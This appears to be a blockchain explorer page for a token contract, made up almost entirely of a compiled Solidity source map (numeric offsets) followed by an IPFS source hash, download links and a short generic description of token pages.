7656:15;7636:16;:35;;7628:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7749:60;7758:5;7765:7;7793:15;7774:16;:34;7749:8;:60::i;:::-;7840:4;7833:11;;;;7414:438;;;;:::o;4459:193::-;4538:4;4555:13;4571:12;:10;:12::i;:::-;4555:28;;4594;4604:5;4611:2;4615:6;4594:9;:28::i;:::-;4640:4;4633:11;;;4459:193;;;;:::o;4715:151::-;4804:7;4831:11;:18;4843:5;4831:18;;;;;;;;;;;;;;;:27;4850:7;4831:27;;;;;;;;;;;;;;;;4824:34;;4715:151;;;;:::o;863:98:1:-;916:7;943:10;936:17;;863:98;:::o;11351:380:2:-;11504:1;11487:19;;:5;:19;;;11479:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11585:1;11566:21;;:7;:21;;;11558:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11669:6;11639:11;:18;11651:5;11639:18;;;;;;;;;;;;;;;:27;11658:7;11639:27;;;;;;;;;;;;;;;:36;;;;11707:7;11691:32;;11700:5;11691:32;;;11716:6;11691:32;;;;;;:::i;:::-;;;;;;;;11351:380;;;:::o;12018:453::-;12153:24;12180:25;12190:5;12197:7;12180:9;:25::i;:::-;12153:52;;12240:17;12220:16;:37;12216:248;;12302:6;12282:16;:26;;12274:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12386:51;12395:5;12402:7;12430:6;12411:16;:25;12386:8;:51::i;:::-;12216:248;12142:329;12018:453;;;:::o;8331:1129::-;8478:1;8462:18;;:4;:18;;;8454:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8555:1;8541:16;;:2;:16;;;8533:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8629:4;8612:21;;:13;;;;;;;;;;;:21;;;:40;;;;8645:7;:5;:7::i;:::-;8637:15;;:4;:15;;;8612:40;:57;;;;8662:7;:5;:7::i;:::-;8656:13;;:2;:13;;;8612:57;8608:797;;;8707:1;8689:9;:15;8699:4;8689:15;;;;;;;;;;;;;;;;:19;8686:664;;;8728:41;:47;8770:4;8728:47;;;;;;;;;;;;;;;;;;;;;;;;;8724:615;;;8797:1;8787:6;:11;8778:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;8724:615;;;8846:41;:45;8888:2;8846:45;;;;;;;;;;;;;;;;;;;;;;;;;8842:72;;8908:1;8901:6;:8;8893:21;;;;;;;;;;;;:::i;:::-;;;;;;;;;8842:72;8933:38;8954:4;8960:2;8964:6;8933:20;:38::i;:::-;8992:19;9014:9;:15;9024:4;9014:15;;;;;;;;;;;;;;;;8992:37;;9071:6;9056:11;:21;;9048:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;9204:6;9190:11;:20;9172:9;:15;9182:4;9172:15;;;;;;;;;;;;;;;:38;;;;9265:6;9248:9;:13;9258:2;9248:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;9312:2;9297:26;;9306:4;9297:26;;;9316:6;9297:26;;;;;;:::i;:::-;;;;;;;;8823:516;8724:615;8686:664;8608:797;;;9394:4;9377:21;;:13;;;;;;;;;;;:21;;;9368:35;;;;;;;;;;;;:::i;:::-;;;;;;;;;8608:797;9415:37;9435:4;9441:2;9445:6;9415:19;:37::i;:::-;8331:1129;;;:::o;10479:434::-;10582:1;10563:21;;:7;:21;;;10555:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10639:22;10664:9;:18;10674:7;10664:18;;;;;;;;;;;;;;;;10639:43;;10719:6;10701:14;:24;;10693:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10813:6;10802:8;;:17;;;;:::i;:::-;10781:9;:18;10791:7;10781:18;;;;;;;;;;;;;;;:38;;;;10846:6;10830:12;;:22;;;;;;;:::i;:::-;;;;;;;;10894:1;10868:37;;10877:7;10868:37;;;10898:6;10868:37;;;;;;:::i;:::-;;;;;;;;10544:369;10479:434;;:::o;1078:81:1:-;1118:7;1145:6;;;;;;;;;;;1138:13;;1078:81;:::o;13071:125:2:-;;;;:::o;13800:124::-;;;;:::o;7:99:6:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:117::-;5297:1;5294;5287:12;5311:117;5420:1;5417;5410:12;5434:117;5543:1;5540;5533:12;5574:568;5647:8;5657:6;5707:3;5700:4;5692:6;5688:17;5684:27;5674:122;;5715:79;;:::i;:::-;5674:122;5828:6;5815:20;5805:30;;5858:18;5850:6;5847:30;5844:117;;;5880:79;;:::i;:::-;5844:117;5994:4;5986:6;5982:17;5970:29;;6048:3;6040:4;6032:6;6028:17;6018:8;6014:32;6011:41;6008:128;;;6055:79;;:::i;:::-;6008:128;5574:568;;;;;:::o;6148:116::-;6218:21;6233:5;6218:21;:::i;:::-;6211:5;6208:32;6198:60;;6254:1;6251;6244:12;6198:60;6148:116;:::o;6270:133::-;6313:5;6351:6;6338:20;6329:29;;6367:30;6391:5;6367:30;:::i;:::-;6270:133;;;;:::o;6409:698::-;6501:6;6509;6517;6566:2;6554:9;6545:7;6541:23;6537:32;6534:119;;;6572:79;;:::i;:::-;6534:119;6720:1;6709:9;6705:17;6692:31;6750:18;6742:6;6739:30;6736:117;;;6772:79;;:::i;:::-;6736:117;6885:80;6957:7;6948:6;6937:9;6933:22;6885:80;:::i;:::-;6867:98;;;;6663:312;7014:2;7040:50;7082:7;7073:6;7062:9;7058:22;7040:50;:::i;:::-;7030:60;;6985:115;6409:698;;;;;:::o;7113:474::-;7181:6;7189;7238:2;7226:9;7217:7;7213:23;7209:32;7206:119;;;7244:79;;:::i;:::-;7206:119;7364:1;7389:53;7434:7;7425:6;7414:9;7410:22;7389:53;:::i;:::-;7379:63;;7335:117;7491:2;7517:53;7562:7;7553:6;7542:9;7538:22;7517:53;:::i;:::-;7507:63;;7462:118;7113:474;;;;;:::o;7593:180::-;7641:77;7638:1;7631:88;7738:4;7735:1;7728:15;7762:4;7759:1;7752:15;7779:320;7823:6;7860:1;7854:4;7850:12;7840:22;;7907:1;7901:4;7897:12;7928:18;7918:81;;7984:4;7976:6;7972:17;7962:27;;7918:81;8046:2;8038:6;8035:14;8015:18;8012:38;8009:84;;8065:18;;:::i;:::-;8009:84;7830:269;7779:320;;;:::o;8105:180::-;8153:77;8150:1;8143:88;8250:4;8247:1;8240:15;8274:4;8271:1;8264:15;8291:191;8331:3;8350:20;8368:1;8350:20;:::i;:::-;8345:25;;8384:20;8402:1;8384:20;:::i;:::-;8379:25;;8427:1;8424;8420:9;8413:16;;8448:3;8445:1;8442:10;8439:36;;;8455:18;;:::i;:::-;8439:36;8291:191;;;;:::o;8488:182::-;8628:34;8624:1;8616:6;8612:14;8605:58;8488:182;:::o;8676:366::-;8818:3;8839:67;8903:2;8898:3;8839:67;:::i;:::-;8832:74;;8915:93;9004:3;8915:93;:::i;:::-;9033:2;9028:3;9024:12;9017:19;;8676:366;;;:::o;9048:419::-;9214:4;9252:2;9241:9;9237:18;9229:26;;9301:9;9295:4;9291:20;9287:1;9276:9;9272:17;9265:47;9329:131;9455:4;9329:131;:::i;:::-;9321:139;;9048:419;;;:::o;9473:180::-;9521:77;9518:1;9511:88;9618:4;9615:1;9608:15;9642:4;9639:1;9632:15;9659:224;9799:34;9795:1;9787:6;9783:14;9776:58;9868:7;9863:2;9855:6;9851:15;9844:32;9659:224;:::o;9889:366::-;10031:3;10052:67;10116:2;10111:3;10052:67;:::i;:::-;10045:74;;10128:93;10217:3;10128:93;:::i;:::-;10246:2;10241:3;10237:12;10230:19;;9889:366;;;:::o;10261:419::-;10427:4;10465:2;10454:9;10450:18;10442:26;;10514:9;10508:4;10504:20;10500:1;10489:9;10485:17;10478:47;10542:131;10668:4;10542:131;:::i;:::-;10534:139;;10261:419;;;:::o;10686:223::-;10826:34;10822:1;10814:6;10810:14;10803:58;10895:6;10890:2;10882:6;10878:15;10871:31;10686:223;:::o;10915:366::-;11057:3;11078:67;11142:2;11137:3;11078:67;:::i;:::-;11071:74;;11154:93;11243:3;11154:93;:::i;:::-;11272:2;11267:3;11263:12;11256:19;;10915:366;;;:::o;11287:419::-;11453:4;11491:2;11480:9;11476:18;11468:26;;11540:9;11534:4;11530:20;11526:1;11515:9;11511:17;11504:47;11568:131;11694:4;11568:131;:::i;:::-;11560:139;;11287:419;;;:::o;11712:221::-;11852:34;11848:1;11840:6;11836:14;11829:58;11921:4;11916:2;11908:6;11904:15;11897:29;11712:221;:::o;11939:366::-;12081:3;12102:67;12166:2;12161:3;12102:67;:::i;:::-;12095:74;;12178:93;12267:3;12178:93;:::i;:::-;12296:2;12291:3;12287:12;12280:19;;11939:366;;;:::o;12311:419::-;12477:4;12515:2;12504:9;12500:18;12492:26;;12564:9;12558:4;12554:20;12550:1;12539:9;12535:17;12528:47;12592:131;12718:4;12592:131;:::i;:::-;12584:139;;12311:419;;;:::o;12736:179::-;12876:31;12872:1;12864:6;12860:14;12853:55;12736:179;:::o;12921:366::-;13063:3;13084:67;13148:2;13143:3;13084:67;:::i;:::-;13077:74;;13160:93;13249:3;13160:93;:::i;:::-;13278:2;13273:3;13269:12;13262:19;;12921:366;;;:::o;13293:419::-;13459:4;13497:2;13486:9;13482:18;13474:26;;13546:9;13540:4;13536:20;13532:1;13521:9;13517:17;13510:47;13574:131;13700:4;13574:131;:::i;:::-;13566:139;;13293:419;;;:::o;13718:224::-;13858:34;13854:1;13846:6;13842:14;13835:58;13927:7;13922:2;13914:6;13910:15;13903:32;13718:224;:::o;13948:366::-;14090:3;14111:67;14175:2;14170:3;14111:67;:::i;:::-;14104:74;;14187:93;14276:3;14187:93;:::i;:::-;14305:2;14300:3;14296:12;14289:19;;13948:366;;;:::o;14320:419::-;14486:4;14524:2;14513:9;14509:18;14501:26;;14573:9;14567:4;14563:20;14559:1;14548:9;14544:17;14537:47;14601:131;14727:4;14601:131;:::i;:::-;14593:139;;14320:419;;;:::o;14745:222::-;14885:34;14881:1;14873:6;14869:14;14862:58;14954:5;14949:2;14941:6;14937:15;14930:30;14745:222;:::o;14973:366::-;15115:3;15136:67;15200:2;15195:3;15136:67;:::i;:::-;15129:74;;15212:93;15301:3;15212:93;:::i;:::-;15330:2;15325:3;15321:12;15314:19;;14973:366;;;:::o;15345:419::-;15511:4;15549:2;15538:9;15534:18;15526:26;;15598:9;15592:4;15588:20;15584:1;15573:9;15569:17;15562:47;15626:131;15752:4;15626:131;:::i;:::-;15618:139;;15345:419;;;:::o;15770:114::-;;:::o;15890:364::-;16032:3;16053:66;16117:1;16112:3;16053:66;:::i;:::-;16046:73;;16128:93;16217:3;16128:93;:::i;:::-;16246:1;16241:3;16237:11;16230:18;;15890:364;;;:::o;16260:419::-;16426:4;16464:2;16453:9;16449:18;16441:26;;16513:9;16507:4;16503:20;16499:1;16488:9;16484:17;16477:47;16541:131;16667:4;16541:131;:::i;:::-;16533:139;;16260:419;;;:::o;16685:225::-;16825:34;16821:1;16813:6;16809:14;16802:58;16894:8;16889:2;16881:6;16877:15;16870:33;16685:225;:::o;16916:366::-;17058:3;17079:67;17143:2;17138:3;17079:67;:::i;:::-;17072:74;;17155:93;17244:3;17155:93;:::i;:::-;17273:2;17268:3;17264:12;17257:19;;16916:366;;;:::o;17288:419::-;17454:4;17492:2;17481:9;17477:18;17469:26;;17541:9;17535:4;17531:20;17527:1;17516:9;17512:17;17505:47;17569:131;17695:4;17569:131;:::i;:::-;17561:139;;17288:419;;;:::o;17713:220::-;17853:34;17849:1;17841:6;17837:14;17830:58;17922:3;17917:2;17909:6;17905:15;17898:28;17713:220;:::o;17939:366::-;18081:3;18102:67;18166:2;18161:3;18102:67;:::i;:::-;18095:74;;18178:93;18267:3;18178:93;:::i;:::-;18296:2;18291:3;18287:12;18280:19;;17939:366;;;:::o;18311:419::-;18477:4;18515:2;18504:9;18500:18;18492:26;;18564:9;18558:4;18554:20;18550:1;18539:9;18535:17;18528:47;18592:131;18718:4;18592:131;:::i;:::-;18584:139;;18311:419;;;:::o;18736:221::-;18876:34;18872:1;18864:6;18860:14;18853:58;18945:4;18940:2;18932:6;18928:15;18921:29;18736:221;:::o;18963:366::-;19105:3;19126:67;19190:2;19185:3;19126:67;:::i;:::-;19119:74;;19202:93;19291:3;19202:93;:::i;:::-;19320:2;19315:3;19311:12;19304:19;;18963:366;;;:::o;19335:419::-;19501:4;19539:2;19528:9;19524:18;19516:26;;19588:9;19582:4;19578:20;19574:1;19563:9;19559:17;19552:47;19616:131;19742:4;19616:131;:::i;:::-;19608:139;;19335:419;;;:::o;19760:194::-;19800:4;19820:20;19838:1;19820:20;:::i;:::-;19815:25;;19854:20;19872:1;19854:20;:::i;:::-;19849:25;;19898:1;19895;19891:9;19883:17;;19922:1;19916:4;19913:11;19910:37;;;19927:18;;:::i;:::-;19910:37;19760:194;;;;:::o

Swarm Source

ipfs://a3d6ec154f41a18f4bebd3d388f7698d24ffc7aae060ae645c16181da8f33e9e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.